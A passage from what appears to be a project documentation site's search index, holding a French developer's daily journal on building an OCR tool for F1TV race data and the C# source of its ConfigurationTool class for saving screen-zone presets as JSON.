INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL Ca n'est pas forc\u00e9ment d\u00e9finitif mais je pense que c'est d\u00e9ja un bon d\u00e9but pour faire des rubriques sympa. Je suis en train de tenter d'impl\u00e9menter le code pour permettre ensuite d'ajouter et retirer des choses facilement.","title":"Mardi 16 Mai 2023"},{"location":"jdb.html#mercredi-17-mai-2023","text":"Aujourd'hui le but c'est de remplir la base SQLITE avec des infos. Si j'arrive \u00e0 tout remplir alors ca devrait pas \u00eatre trop compliqu\u00e9 de venir faire des requ\u00e8tes qui donnent de bonnes infos. Mais la probl\u00e9matique principale va \u00eatre de d\u00e9cider QUAND ins\u00e8rer des choses dans la base de donn\u00e9e. Je pense que le meilleur moyen serait de garder une liste de DriverData par pilote en piste qui puisse contenir toutes les data que l'on recoit. Et \u00e0 chaques fois que l'on veut ajouter \u00e0 cette liste on v\u00e9rifie si un tour a \u00e9t\u00e9 fait pour envoyer les data pr\u00e9c\u00e9dente et r\u00e9initialiser la liste. Il faut donc une liste de 20 listes de DriverData et une liste de int qui repr\u00e9senteront le num\u00e9ro du tour dans lequel chaque pilote se trouve. Pour detecter un arr\u00eat je pense que la meilleure mani\u00e8re est de regarder si le pilote a chang\u00e9 de place ou de type de pneu. Si je prend que les fois ou le pilote change place ET de pneus alors certains arr\u00eats pour ceux qui sont loins devant ou loins derri\u00e8re pourraient ne pas \u00eatre detect\u00e9s. Et si je ne prend que le changement de pneus cela pose un soucis car un pneu pourrait avoir \u00e9t\u00e9 chang\u00e9 pour un autre du m\u00eame type. Et parfois les valeurs de tours faits avec le pneu ne sont pas toujours bien lues et parfois sont compliqu\u00e9es \u00e0 retrouver car tous les pneus ne sont pas neuf quand ils sont chauss\u00e9s. Je crois que la detection de tours et des arr\u00eats aux stands est sur la bonne voie. Le seul soucis que j'ai c'est que pour faire du debug je suis un peu oblig\u00e9 d'attendre pendant 10min si je veux avoir de quoi faire des stats un peu sympa. Je me rend compte que parfois j'obtiens des r\u00e9sultats un peu bizarres mais que c'est la f1TV qui les donne. Par exemple de cas ou Alex Albon n'a que deux tours sur ses pneus alors que tout le monde devant et derri\u00e8re lui en a 3 et que on est au tour 4. \"wtf...?\" Ah et aussi parfois quand les pilotes se d\u00e9passent on se retrouve dans des situations plut\u00f4t rigolotes : \"Wtf...??\" COMMENT JE FAIS POUR DETECTER CA WIONDVIDNJDODVNSDIC Bon je me rend compte que clairement si je veux que mes data soient plus utiles il faudrait que je fasse un tout petit peu plus de taff sur quelques points dans l'OCR. Le nombre de tours des pneus (Les num\u00e9ros sont vraiment mal detect\u00e9s et parfois m\u00eame la couleur est pas dingue) Les 4 qui sont pris pour des 1 ou des 11 (pour les temps et les pneus) apr\u00e8s un test de plus longue haleine je suis content de voir que au moins mon programme peut tourner plus d'une heure sans crasher et qu'il peut \u00eatre fiable quand il veut.","title":"Mercredi 17 Mai 2023"},{"location":"jdb.html#jeudi-18-mai-2023","text":"Aujourd'hui c'est t\u00e9l\u00e9Travail forc\u00e9 et j'\u00e9tais scens\u00e9 aller au Grand Prix d'Imola ce qui malheureusement ne pourra pas se faire pour des raisons d'inondations. En effet la r\u00e9gion est clairement pas en \u00e9tat de recevoir un Grand Prix de Formule 1 et donc ce weekend c'est maison. Le but du jour c'est d'avancer la doc et de tenter d'am\u00e9liorer l'OCR pour que Lundi il soit relativement facile d'avancer sur l'interface de l'app finale. Je suis en train d'explorer une methode de detection de bords de sobel. Le seul soucis c'est que les r\u00e9sultats sont bons mais avec un vide au milieu des chiffres. Cela veut dire que parfois le temps est mal detect\u00e9. Mais il semble que pour le reste du temps cela se passe plut\u00f4t bien. Ca vaut peut \u00eatre le coup de modifier la gestion des erreurs. \"Artefacts de detection de sobel\" En fait le soucis avec ces artefacts c'est que parfois le temps au tour n'est tout simplement pas detect\u00e9. Dans l'exemple ci dessus, la reconnaissance de caract\u00e8res ne trouve tout simplement rien. Il faut donc que je trouve un moyen de corriger ces soucis. Il semblerait que en appliquant un tresholding un peu plus s\u00e9v\u00e8re en amont on arrive \u00e0 r\u00e9duire les artefacts \"Artefacts all\u00e8g\u00e9s\" ; Je crois qu'il faut faire attention avec les 'Bitmap.save' quand on utilise de l'asynchrone. le GDI+ aime pas des masses.","title":"Jeudi 18 Mai 2023"},{"location":"jdb.html#lundi-22-mai-2023","text":"BON ! Il ne reste plus beaucoup de temps ! Selon le planning cette semaine est la derni\u00e8re semaine de programmation. Il va donc falloir CHARBONNER !! Il ne me reste plus que une t\u00e2che \u00e0 vraiment faire (\u00e0 part les tests mais euuuu voila bon). J'essaie d'impl\u00e9menter un peu plus d'error handling mais c'est pas facile... Il y a tellement de choses qui peuvent mal tourner c'est infernal. Une chose qui serait bien serait de rajouter des points d'attente variables dans le code de l'emulateur un peu partout pour eviter de se retrouver bloqu\u00e9 \u00e0 chaque fois. L'int\u00e9r\u00eat serait que des gens avec une moins bonne connexion pourraient quand m\u00eame profiter du programme sans qu'il crashe 300 fois. Ce qui est frustrant c'est que va savoir pourquoi, maintenant, on arrive quasi jamais a avoir la page data... Genre sans deconner c'est une fois sur 5 que l'emulateur nous ressort la page Data et pas juste le feed. C'est absolument infernal. Je ne comprends pas pourquoi en plus. L'emulateur arrive bien \u00e0 cliquer sur le bon bouton mais m\u00eame comme ca ca ne veut pas. CA NA AUCUN SENS BORDEL. Sur une image Jjai de supers resultats pour les temps au tour mais d\u00e8s que l'image change PAF plus aucun temps n'est detect\u00e9. Ah non c'est bon c'est juste que VA SAVOIR POURQUOI les images sont en putain de resolution DEGEULASSE. Je ne comprends pas pourquoi ce matin particuli\u00e8rement le projet marche si mal. Par ce que d\u00e8s que l'image revient \u00e0 une r\u00e9solution normale c'est bon. Un autre soucis que j'ai est que je n'arrive pas \u00e0 paralleliser l'OCR ce qui fait que elle peut prendre parfois plus de 15 secondes. Et le probl\u00e8me avec ca c'est que la detection de tours et de pitstop est grandement impact\u00e9e si on a pas assez de data assez souvent. Je vais me focus sur le reste en attendant mais d\u00e8s que M.Bonvin apparait dans les parages je vais devoir l'alpaguer. J'ai ajout\u00e9 la possibilit\u00e9 d'essayer plusieurs fois de trouver le bouton fullscreen et de cliquer dessus plut\u00f4t que d'attendre dix secondes comme un con et esp\u00e8rer que ca fonctionne. Mais si apr\u00e8s 15 secondes d'essais il n'y arrive pas cela fait quand m\u00eame p\u00eater une erreur. Je pense que je vais m'occuper de la page de configuration maintenant. Voici \u00e0 quoi ressemblait la page de settings ce matin quand je suis arriv\u00e9. \"Ancienne page de settings\" Comme je pense que l'UI de cette page ne va pas vraiment changer d'ici la fin du projet je peux me permettre de lui faire une petite beaut\u00e9 car apr\u00e8s je ne pense pas y retoucher. Pour ca j'ai plusieurs \u00e9tapes comme choisir une palette de couleur, retirer l'inutile et choisir judicieusement le placement des items sur la form pour que cela soit le plus intuitif possible. J'y pense, il fuadrait peut-\u00eatre que je me trouve un logo ca pourrait rendre bien. Voila alors j'ai chang\u00e9 un tout petit peu ce \u00e0 quoi ressemble la page de settings et j'ai ajout\u00e9 du responsive pour que le user puisse mettre l'application en plein \u00e9cran. \"Nouvelle page de configuration\" Mais il manque un peu de couleurs et de d\u00e9tails pour que cela rende vraiment bien. Et apr\u00e8s quelques tentatives on se retrouve avec une page plut\u00f4t sympa je trouve : \"Nouvelle page de config\" Et elle est responsive : \"Nouvelle page de config en plein \u00e9cran\" Et j'ai fait quelques changements pour ce qui est des zones qui s'affichent pour qu'on les voie mieux. \"Nouvelle page de config en action\" Je trouve que franchement ca rend pas mal. Le reste de l'app sera dans ce style. J'ai mis pas mal de temps \u00e0 cr\u00e9er cette page, mais je pense que c'est important que la page de config soit propre. Et en plus tout le temps que j'ai pass\u00e9 ici n'est pas perdu car ensuite j'aurai simplement \u00e0 suivre les m\u00eames directives de style pour le reste de l'UI. Il faut aussi savoir que Windows Form n'est ps forc\u00e9ment le meilleur outil pour travailler avec le design. Truc tout b\u00eate par exemple qui m'a fait perdre 30 minutes. Il est impossible de retirer les bordures des objets \"GroupBox\". Ce que j'ai donc du faire ca a \u00e9t\u00e9 de dessiner un rectangle autour de la couleur du background pour que l'on ne voit plus les bordures et ensuite j'ai du redessiner le texte pour qu'il puisse s'afficher quand m\u00eame. C'est pleins de petites choses comme ca qui sont plut\u00f4t p\u00e9nibles et qui font perdre du temps mais je pense que c'est rentable de s'y attarder. Maintenant ce que je vais faire aujourd'hui et demain c'est l'affichage general de l'app. Je pense que je vais commencer par mettre des placeholder de l'app finale comme ca je saurai quoi implementer comme methodes de r\u00e9cup\u00e8ration demain. J'aimerais quand m\u00eame faire une interface sympa m\u00eame si les data sont pas parfaites. Par ce que je me dis que au pire si je montre une interface qui donne des infos inexacte mais qui a la bonne logique c'est toujours mieux que de ne pas montrer ce que ca pourrait faire avec des donn\u00e9es un peu plus int\u00e8gres. Autre point \u00e0 noter, je me suis rendu compte que ca pourrait \u00eatre potentiellement pas mal de trouver un moyen rapide de lancer l'appli avec un Grand Prix. Genre permettre de selectionner le preset et l'URL du Grand Prix sans avoir \u00e0 passer par la page de configuration. Je me suis rendu compte que c'\u00e9tait super chiant de devoir \u00e0 chaque fois le faire (m\u00eame si je me rends compte que normalement un user ne devrait pas lancer l'app autant) Voila ue premi\u00e8re version de l'App avec tous les placeholders : \"Premi\u00e8re version de la page principale\" Et c'est tout pour aujourd'hui ! Ce fut une journ\u00e9e remplie.","title":"Lundi 22 Mai 2023"},{"location":"jdb.html#mardi-23-mai-2023","text":"Aujourd'hui le but c'est de remplir le framework de hier avec les bonnes Data. Je ne sais pas si je peux tout finir en un jour mais on va essayer. Bon j'ai eu une discussion anim\u00e9e avec M.Bonvin et il semble que je sois oblig\u00e9 de refaire \u00e0 peu pr\u00e8s tout mon code pour le rendre ne serait-ce qu'un peu optimis\u00e9. Bon au final j'ai perdu 6H de travail \u00e0 tenter de convertir mon code dans une version un peu plus optimis\u00e9e... Mais je me rend compte que c'est juste impossible... Il me faudrait au moins plusieurs jours pour faire correctement ce refactor et donc je vais tout simplement faire un git restore... C'est extr\u00eament frustrant mais bon... Pas le choix il semble. J'ai du \u00e9crire au moins 600 lignes de code et tout pars en fum\u00e9e. C'est une d\u00e9bauche d'\u00e9nergie absolument ph\u00e9nomenale. Apr\u00e8s ca valait le coup de tenter je pense. (J'ai envie de mourir) EN FAIT C'EST BON !! Il fallait juste que je croie en mon code original !!! J'ai r\u00e9ussi \u00e0 paralelliser mon ancien code. Il ne manquait presque rien mais M.Bonvin voulait absolument que je change le reste. Maintenant j'ai une detection qui se fait en quelques secondes c'est genial.","title":"Mardi 23 Mai 2023"},{"location":"jdb.html#mercredi-24-mai-2023","text":"Alors hier je n'ai pas bien eu le temps d'expliquer ce que voulait que M.Bonvin. En fait mon programme actuellement utilise un d\u00e9coupage qui peut par\u00e2itre complexe. Et de par sa nature, il pensait qu'il \u00e9tait simplement impossible de paralelliser le traitement car trop complexe et trop couteux. Il voulait donc que je passe sur un traitement plus simple. L'id\u00e9e \u00e9tait que on s'occupe dabord de faire une liste de toutes les Windows et de les traiter toutes \u00e0 la fois pour \u00e9viter que les boucles soient trop complexes. Sauf que pour impl\u00e9menter un truc pareil c'est \u00e9norm\u00e9ment de code car cela va \u00e0 l'encontre totale de la facon dont mon projet fonctionne actuellement. Mais comme j'\u00e9tais ouvert \u00e0 d'autres solutions. J'ai pass\u00e9 six heures \u00e0 tenter de l'impl\u00e9menter. Il en aurait fallu au minimum deux jours soyons clair. Et en fait on s'est retrouv\u00e9s devant pleins de probl\u00e8mes qui ne se posent pas dans mon architecture originale. Par exemple. On a pas trouv\u00e9 de methode simple pour d\u00e9couper les images des fen\u00eatres de mani\u00e8re thread safe. Il aurait donc fallu ajouter des boucles en pr\u00e9alable pour tout d\u00e9couper et le faire de mani\u00e8re s\u00e9quencielle. Ensuite vient le probl\u00e8me que si on traite toutes les donn\u00e9es dans des boucless paralelle on perds leur position originale donc il faut faire une classe pour stocker les r\u00e9sultats temporaires. Il y a aussi le soucis que les Windows ont certe une position mais elle est relative au parent et \u00e0 l'image parente. Donc il faudra faire un syst\u00e8me qui convertis les windows en position absolue sur l'image. Ca peut para\u00eetre \u00eatre de simples changements mais deja il y en a pas mal d'autres et franchement m\u00eame si l'id\u00e9e originale aurait pu simplifier les choses. Les sacrifices que l'on doit faire pour la faire marcher sont juste trop moches et \u00e0 mon avis ne sont pas du tout aussi logiques que mon d\u00e9coupage original. Cette exp\u00e9rience m'a quand m\u00eame permis de me rendre compte des endroits dans mon code qui sont plus ou moins difficile \u00e0 maintenir et cela m'a fait me rendre compte que ma solution n'\u00e9tait pas forc\u00e9ment la plus simple pour tout le monde mais que mine de rien elle peut \u00eatre efficace. La je suis en train de rajouter les routes pour la vue. Je me suis dit que ca serait une bonne id\u00e9e de permettre aux users de cliquer sur un pilote pour avoir ses infos. Mais je me suis dit que ce qui serait encore plus cool serait de pouvoir cliquer sur un des temps au tour d'un pilote et qu'une petite fen\u00eatre s'ouvre pour indiquer les temps par secteurs. Mais en faisant ca je me rends compte qu'il y a quelques soucis dans la facon que je conserve les infos dans la DB et je peux voir directement quand la reconnaissance a du mal avec certains pilotes ou des positions. Ca arrive plus souvent que ce que je voudrais que un pilote soit mal detect\u00e9. Mais ce qui est dr\u00f4le c'est que c'est parfois sur une deux voire trois reconnaissance que le pilote n'est plus reconnu mais ensuite tout va bien. Il faut que je travaille un peu plus sur le filtrage de ces donn\u00e9es limites et peut-\u00eatre de voir si la reconnaissance de la position pourrait \u00eatre un peu v\u00e9rifi\u00e9e. Bon pour \u00eatre honn\u00eate je ne pense pas que le code qui concerne l'affichage soit le meilleur code que j'aie pu produire dans ma vie de d\u00e9veloppeur mais en m\u00eame temps je n'ai pas forc\u00e9ment le temps de le rendre magnifique. La le but est simplement que tout marche. (Et c'est un peu la m\u00eame phylosophie dans tout le reste du projet lol) Demain il me reste pas mal de choses \u00e0 faire et c'est la derni\u00e8re journ\u00e9e ou je peux les faire. Rendre la form plus jolie et changer les couleurs Rendre la form Responsive Ajouter les bons messages d'erreur qui vont bien Modifier les messageBox d'erreur pour qu'elles soient plus agr\u00e9ables \u00e0 utiliser Clean un peu le code mod\u00e8le vue controller Si j'ai le temps ajouter les bons commentaires les bonnes ent\u00eates partout","title":"Mercredi 24 Mai 2023"},{"location":"jdb.html#jeudi-25-mai-2023","text":"Bon bah le but aujourd'hui c'est de finaliser un peu le projet car la semaine prochaine c'est doc. Pas grand chose \u00e0 dire. J'ai pass\u00e9 la journ\u00e9e \u00e0 fix des petits bugs par ci par la. Voici des exemples de ce \u00e0 quoi ressemble l'app \u00e0 la fin de la journ\u00e9e : \"Screenshot de la page principale\" \"Screenshot de la page principale\" On se rend jamais compte mais c'est tellement long de r\u00e8gler chaque petit soucis un par un. Il y a tellement de possibilit\u00e9s de choses qui peuvent mal tourner ou qui ont un comportement diff\u00e9rent selon l'ordre dans lequel on fait les choses. Mais dans l'ensemble, m\u00eame si on est pas sur la meilleure interface que l'on aie vu dans l'histoire. Je trouve que elle fait quand m\u00eame le taff.","title":"Jeudi 25 Mai 2023"},{"location":"jdb.html#vendredi-26-mai-2023","text":"Aujourd'hui c'est d\u00e9part pour Monaco mais comme l'avion etait bien en retard j'ai pu avancer sur le nettoyage du code.","title":"Vendredi 26 Mai 2023"},{"location":"jdb.html#grand-prix-de-monaco","text":"[Insert photos]","title":"Grand Prix de Monaco"},{"location":"jdb.html#lundi-29-mai-2023","text":"Mon vol pour Geneve hier soit a \u00e9t\u00e9 annul\u00e9 et je dois donc prendre une deviation car tous les vols pour Geneve sont pleins. Je dois partir a 7h30 pour prende l'avion de 9H pour Nantes et de la bas je dois prendre un avion \u00e0 17h pour arriver \u00e0 18h30 \u00e0 l'a\u00e9roport de Geneve. C'est pas pratique car j'avais pr\u00e9vu d'avancer aujourd'hui et je suis oblig\u00e9 d'avancer comme je peux dans l'a\u00e9roport. J'avance encore sur le nettoyage rapide du code. Le but est que demain je puisse sortir la premi\u00e8re release en Beta et que je mette vraiment serieusement \u00e0 la Documentation. M.Jayr m'a \u00e9galement demand\u00e9 de lui donner le document d'\u00e9valuation interm\u00e9diaire. Il ne faut pas que j'oublie demain. J'ai mis des notes sur mon code au cas ou des gens viennent \u00e0 le lire. J'y d\u00e9cris les choses que j'aurais fait diff\u00e9remment ou qui pourraient para\u00eetre bizarre au tout venant.","title":"Lundi 29 Mai 2023"},{"location":"jdb.html#mardi-30-mai-2023","text":"Bon aujourd'hui je dois encore avancer sur la partie nettoyage de code et avant de sortir la premi\u00e8re release Beta je vais tenter d'installer le projet sur un autre pc pour voir ce que je n'ai pas mentionn\u00e9 dans mon ReadMe. Bon j'ai pu rendre \u00e0 M.Jayr mon evaluation interm\u00e9diaire et j'ai fait les derni\u00e8res modifications sur le projet pour que je puisse sortir une release correcte. Maintenant je vais me mettre \u00e0 la documentation. Il va falloir que je revoie ce que j'ai d\u00e9ja \u00e9crit en ce qui concerne l'OCR car j'ai fait des modifications depuis et j'ai ajout\u00e9 la methode de SOBEL. Il faut peut-\u00eatre aussi que je parle vite fait dans la partie Emulation que j'ai du changer les variables d'environnement pour faire fonctionner le syst\u00e8me en 4K.","title":"Mardi 30 Mai 2023"},{"location":"jdb.html#mercredi-31-mai-2023","text":"Doc","title":"Mercredi 31 Mai 2023"},{"location":"jdb.html#jeudi-1-juin-2023","text":"Bon je me suis rendu compte que je n'avais fait vraiment aucuns tests et que c'est franchement bof. Je pense que ce que je devrais faire pour faire des tests unitaires c'est prendre des exemples de chaque type de windows possibles en plusieurs exemplaires. Ensuite je note le r\u00e9sultat que j'attends et je regarde si ca me retourne la bonne valeur. Mais ca veut dire que ca va me prendre pas mal de temps de tout mettre en place mais ca m'aurait s\u00fbrement fait gagner beaucoup de temps si je l'avais fait d\u00e8s le d\u00e9but... Je pense que une bonne id\u00e9e serait de prendre trois Grand Prix et de prendre une photo de chaque type de window au d\u00e9but et \u00e0 la fin. Plus je regarde plus je me rend compte que ce pojet aurait carr\u00e9ment du \u00eatre en TDD (Test Driven Developement) par ce que ca m'aurait fait gagner un temps FOU. OK JE SUIS DEBILE POURQUOI J'AI PAS FAIT CA PLUS T\u00d4T ??? En fait ce que j'aurais du faire c'est prendre de gros \u00e9chantillons de toutes les types de windows et j'aurais un parfait framework pour savoir si j'ai am\u00e9lior\u00e9 mon OCR ou non. Voici les exemples que je vais utiliser pour verifier le bon fonctionnement de l'OCR : \"Dataset Ecarts\" ; \"Dataset Tours\" ; \"Dataset Noms\" ; \"Dataset Positions\" ; \"Dataset Sectors\" ; \"Dataset Tyres\" ; Je pense que c'est un set assez correct car j'ai essay\u00e9 de prendre un peu tous les cas possibles. Le seul qui m'inqui\u00e8te un peu c'est celui des pneus mais bon. C'est aussi celui qui m'inqui\u00e8te le plus en temps normal. Non mais c'est juste g\u00e9nial les tests en fait... j'avais pas vu que parfois ma detection de GAP TO LEADER comprenait le \"+1:34.567\" en \"61:34.567\" car le '+' \u00e9tait interpr\u00eat\u00e9 comme un 6. Sans les tests je ne m'en serais pas rendu compte. Ce qui est g\u00e9nial c'est que ca veut dire que si je veux am\u00e9liorer mon OCR j'ai juste \u00e0 mettre plus d'exemples dans le dossier de tests et de run les tests et voir ou il a des soucis. C'est un peu tard mais ca m'aurait fait gagner TELLEMENT de temps c'est absolument ridicule.","title":"Jeudi 1 Juin 2023"},{"location":"jdb.html#vendredi-2-juin-2023","text":"Aujourd'hui c'est de nouveau doc. Mais la je pense qu'il faut que je rajoute une rubrique \"Fonctionnement g\u00e9n\u00e9ral\" qui r\u00e9sume tr\u00e8s simplement toutes les \u00e9tapes du projet avec un bon diagramme. En fait c'est beaucoup plus dur que ce que je pensais de faire un bon diagramme qui explique tout sans \u00eatre illisible. J'ai mis une heure trente \u00e0 faire celui la : \"Diagramme fonctionnement g\u00e9n\u00e9ral\" J'ai pris pas mal de temps aussi \u00e0 faire ces trois autre diagrammes un peu plus graphiques qui montrent de mani\u00e8re un poil plus abstraite le fonctionnement des trois grosses parties du projet. \"Diagramme recup\u00e9ration d'images\" \"Diagramme OCR\" \"Diagramme Traitement\" Je pense qu'ils sont un peu plus faciles \u00e0 comprendre que le gros diagramme g\u00e9n\u00e9ral. Ce que je me dis c'est que je vais faire une section fonctionnement g\u00e9n\u00e9ral ou je vais expliquer les trois parties avec les petits diagramme et r\u00e9sumer avec le grand diagramme.","title":"Vendredi 2 Juin 2023"},{"location":"Code/ConfigurationTool.html","text":"ConfigurationTool.cs /// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods used to create config files for the main programm /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; using System.IO ; using System.Text.Json ; using System.Text.Json.Nodes ; namespace TrackTrends { public class ConfigurationTool { public Zone MainZone ; public const int NUMBER_OF_DRIVERS = 20 ; public const int NUMBER_OF_ZONES = 9 ; public const string CONFIGS_FOLDER_NAME = \"./Presets/\" ; /// /// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone /// /// The full image coming from the F1TV Data Channel /// The dimensions of the zone where all the drivers data are situated public ConfigurationTool ( Bitmap fullImage , Rectangle mainZoneDimensions ) { MainZone = new Zone ( fullImage , mainZoneDimensions , \"Main\" ); AutoCalibrate (); } /// /// Resets the main zone /// public void ResetMainZone () { MainZone . ResetZones (); } /// /// Reset the windows /// public void ResetWindows () { MainZone . ResetWindows (); } /// /// Save the current config in a JSON file stored in /Presets/ /// /// A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything /// The name the config should have public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creates the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); //Creates all the subzones that contain driver infos int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID ); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); //Creates all the windows of the current driver zone //Note : We store ALL the windows and zones in the JSON because they are not spaced exactly the same on the main zone foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } /// /// Adds a window in the windows list /// Be carefull of the order. It cant be random or it will crash. The programm expect the first to be position, second Gap to leader etc... /// /// The bounds of the window public void AddWindows ( List < Rectangle > rectangles ) { foreach ( Zone driverZone in MainZone . Zones ) { Bitmap zoneImage = driverZone . ZoneImage ; for ( int i = 1 ; i <= rectangles . Count ; i ++) { switch ( i ) { case 1 : //First zone should be the driver's Position driverZone . AddWindow ( new DriverPositionWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 2 : //Second zone should be the Gap to leader driverZone . AddWindow ( new DriverGapToLeaderWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 3 : //Third zone should be the driver's Lap Time driverZone . AddWindow ( new DriverLapTimeWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 4 : //Fourth zone should be the driver's DRS status driverZone . AddWindow ( new DriverDrsWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 5 : //Fifth zone should be the driver's Tyre's informations driverZone . AddWindow ( new DriverTyresWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 6 : //Sixth zone should be the driver's Name driverZone . AddWindow ( new DriverNameWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], false )); break ; case 7 : //Seventh zone should be the driver's First Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 1 , false )); break ; case 8 : //Zone number eight should be the driver's Second Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 2 , false )); break ; case 9 : //Zone number nine should be the driver's Position Sector driverZone . AddWindow ( new DriverSectorWindow ( driverZone . ZoneImage , rectangles [ i - 1 ], 3 , false )); break ; } } } } /// /// This will automatically create all the driver zones at the correct places if the main zone has been weel positionned /// You cant just divide the image by the number of pilots or it will be messy and inconsistent at the end (Garbage in Garbage Out) /// public void AutoCalibrate () { List < Rectangle > detectedText = new List < Rectangle >(); List < Zone > zones = new List < Zone >(); TesseractEngine engine = new TesseractEngine ( Window . TESS_DATA_FOLDER . FullName , \"eng\" , EngineMode . Default ); Image image = MainZone . ZoneImage ; var tessImage = Pix . LoadFromMemory ( Window . ImageToByte ( image )); Page page = engine . Process ( tessImage ); //Runs a quick OCR detection. Not to detect any content but just to detect where is all the text positionned. //For each row it decides the best Zone location and adds it to the Driver zone list using ( var iter = page . GetIterator ()) { iter . Begin (); do { Rect boundingBox ; if ( iter . TryGetBoundingBox ( PageIteratorLevel . Word , out boundingBox )) { //We remove all the rectangles that are definitely too big if ( boundingBox . Height < image . Height / NUMBER_OF_DRIVERS ) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if ( boundingBox . X1 > image . Width / 2 ) { //Now we check if an other square box has been found roughly in the same y axis bool match = false ; //The tolerance is roughly half the size that a window will be int tolerance = ( image . Height / NUMBER_OF_DRIVERS ) / 2 ; foreach ( Rectangle rect in detectedText ) { if ( rect . Y > boundingBox . Y1 - tolerance && rect . Y < boundingBox . Y1 + tolerance ) { //There already is a rectangle in this line match = true ; } } //if nothing matched we can add it if (! match ) detectedText . Add ( new Rectangle ( boundingBox . X1 , boundingBox . Y1 , boundingBox . Width , boundingBox . Height )); } } } } while ( iter . Next ( PageIteratorLevel . Word )); } //DEBUG int i = 1 ; foreach ( Rectangle Rectangle in detectedText ) { Rectangle windowRectangle ; Size windowSize = new Size ( image . Width , image . Height / NUMBER_OF_DRIVERS ); Point windowLocation = new Point ( 0 , ( Rectangle . Y + Rectangle . Height / 2 ) - windowSize . Height / 2 ); windowRectangle = new Rectangle ( windowLocation , windowSize ); //We add the driver zones Zone driverZone = new Zone ( MainZone . ZoneImage , windowRectangle , \"DriverZone\" ); MainZone . AddZone ( driverZone ); //driverZone.ZoneImage.Save(\"Driver\" + i+\".png\"); i ++; } } } }","title":"ConfigurationTool.cs"},{"location":"Code/ConfigurationTool.html#configurationtoolcs","text":"/// Author : Maxime Rohmer /// Date : 30/05/2023 /// File : ConfigurationTool.cs /// Brief : Class that contains all the methods used to create config files for the main programm /// Version : Alpha 1.0 using System ; using System.Collections.Generic ; using System.Drawing ; using System.Linq ; using System.Text ; using System.Threading.Tasks ; using Tesseract ; using System.IO ; using System.Text.Json ; using System.Text.Json.Nodes ; namespace TrackTrends { public class ConfigurationTool { public Zone MainZone ; public const int NUMBER_OF_DRIVERS = 20 ; public const int NUMBER_OF_ZONES = 9 ; public const string CONFIGS_FOLDER_NAME = \"./Presets/\" ; /// /// Creates the configuration tool. It can only be created if you already have the dimensions of the main zone /// /// The full image coming from the F1TV Data Channel /// The dimensions of the zone where all the drivers data are situated public ConfigurationTool ( Bitmap fullImage , Rectangle mainZoneDimensions ) { MainZone = new Zone ( fullImage , mainZoneDimensions , \"Main\" ); AutoCalibrate (); } /// /// Resets the main zone /// public void ResetMainZone () { MainZone . ResetZones (); } /// /// Reset the windows /// public void ResetWindows () { MainZone . ResetWindows (); } /// /// Save the current config in a JSON file stored in /Presets/ /// /// A list of all the drivers in the GP. IMPORTANT, they need to ALL be mentionned or the program wont be able to detect the missing ones and will F up everything /// The name the config should have public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creates the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); //Creates all the subzones that contain driver infos int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID 